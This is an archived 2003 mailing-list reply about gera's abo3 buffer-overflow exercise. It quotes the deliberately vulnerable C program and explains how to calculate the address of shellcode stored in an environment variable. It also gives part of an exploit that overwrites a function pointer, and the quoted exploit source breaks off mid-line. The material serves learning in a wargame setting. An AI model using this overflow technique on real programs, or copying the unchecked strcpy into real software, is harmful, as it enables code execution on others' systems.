|
|||||||||||
|
Re: Abo3 (can someone help me?)
From: c0n <defcon(at)titan.def-con.org>
Date: Mon May 26 2003 - 01:26:37 EDT #1: abo3 does only allocate 256, so we must use a larger buffer to store our overflow. #2: http://www.def-con.org/?p=exploit/bof-eng.txt ... taken from the above paper.
If you have a look at the highest addresses of a linux ELF binary via gdb, when it is first loaded into memory, you'll see something like this:
Looking at the above figure, we are all agreed that we can calculate the addresss of the last environment variable. It is: envp = 0xBFFFFFFF -
4 - (4 NULL bytes)
strlen(program_name) - (program_names's length - without the
leading
NULL).
1 - (NULL which strlen did not count above)
strlen(envp[n])) (the length of last environment string)
Get rid of some unneccessary calculations, and, here is the final version: envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n]) Did you remember, we supplied execve with an environment pointer? Does that ring a bell ? Right, we can pass our shellcode to the vulnerable program via the environment pointer, and calculate its address. This means we __ exactly __ know what we need to write as the address to the vulnerable buffer. Formula for the address of our shellcode: ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc); #3:
> /* constructing the buffer */
> p = evil_buffer;
> memset(p, 'B', 256); // Some junk
> p += 256;
>
> *((void **)p) = (void *) (ret);
> p += 4;
> *p = '\0';
>
> /* Two arguments are passed to the vulnerable program */
> execle("/home/user/gera/abo3", "abo3", evil_buffer, "A",
> NULL,env);
p is set to the address of evil_buffer
hope that helps... c0n On Sat, 24 May 2003, Discussion Lists wrote: > Hi all, > This list has become far more interesting with the challenges. Thanks > to all for the participation. Recently, a user posted a particular > site: > > > http://community.core-sdi.com/~gera/InsecureProgramming/abo3.html > > Which has the following code: > > > /* abo3.c * > * specially crafted to feed your brain by gera@core-sdi.com */ > > /* This'll prepare you for The Next Step */ > > int main(int argv,char **argc) { > extern system,puts; > void (*fn)(char*)=(void(*)(char*))&system; > char buf[256]; > > fn=(void(*)(char*))&puts; > strcpy(buf,argc[1]); > fn(argc[2]); > exit(1); > } > > The issue here is that there is an exit(1) at the end of the code. So > even if you were to overwrite the return address, it would not matter > because there is no return (if I understand correctly). > > The solution, according to this place: > > http://www.core-sec.com/examples/core_vulnerabilities.pdf > > is that we have to stick our shellcode in an environment variable, then > overwrite the address of that variable into the address of the fn() > function. So they lay out the following code to do it (questions > in-line): > > /* > ** exp3.c > ** Coded by CoreSecurity - info@core-sec.com > **/ > > #includeReceived on Mon May 26 02:24:06 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:39 EDT |
||||||||||
|
|||||||||||